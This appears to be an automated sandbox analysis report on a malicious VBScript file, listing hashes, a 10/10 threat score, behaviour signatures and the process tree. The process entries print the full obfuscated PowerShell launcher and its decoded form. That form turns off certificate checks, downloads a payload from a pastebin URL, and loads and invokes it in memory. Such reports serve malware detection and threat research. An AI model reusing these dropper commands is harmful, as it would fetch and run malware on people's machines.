Analysis
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max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
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submitted
24-09-2024 04:31
General
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Target
sostener.vbs
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Size
1.6MB
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MD5
8476643328f5fd81e1144a3f9b340a7f
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SHA1
2b07f0425c5ac7a7b8ac33f903780d740769e92f
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SHA256
3f15c83a041604541d777c6837797d4b28196f3a6926375324a2dbfb993823c0
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SHA512
abd50137cea3607d8535eef8cda4f20e0cfa77c533468b48c7af443bbcc13a0f60e5813c08919eeb2786f4634e7bbec8013f0fb8057424e9e4659abafd2a046b
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SSDEEP
192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPI:V2GsBchF2lK
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://pastebin.com/raw/V9y5Q5vv
Signatures
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Blocklisted process makes network request 4 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bh☆HU☆YwBs☆HI☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆GM☆ZQB1☆G8☆cw☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HU☆awBs☆Gk☆Yg☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B1☆Gs☆b☆Bp☆GI☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆Fg☆dQBN☆E4☆dQBU☆Gg☆aQ☆v☆Hc☆YQBy☆C8☆bQBv☆GM☆LgBu☆Gk☆YgBl☆HQ☆cwBh☆H☆☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆Bj☆GU☆dQBv☆HM☆I☆☆s☆C☆☆JwBf☆F8☆XwBJ☆G4☆dgBp☆GM☆d☆B1☆HM☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆Bh☆HU☆YwBs☆HI☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$auclr = '0';$ceuos = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uklib = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uklib).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $ceuos , '___Invictus_________________________________________-------', $auclr, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
7KB
MD5c77d7a36910962c76d273185084d3987
SHA16ba8eafd67ba03b48dce873f82fe30b7f147afe4
SHA2560cf9bd88698e4ab27c03a49a77331057e92c18d7d8b32153b80df3e759cf5ba1
SHA512c90142a1c31a35a342df0e57d891c7e10a874248d655eef9eb0ee16ee2e1f1c91ea20cd5b95f11c8baea0ca5313be22d1925da0fa0f0aac48a3c19b9bb285700
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Filesize
4KB
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Filesize
2.9MB
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Filesize
32KB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
9.6MB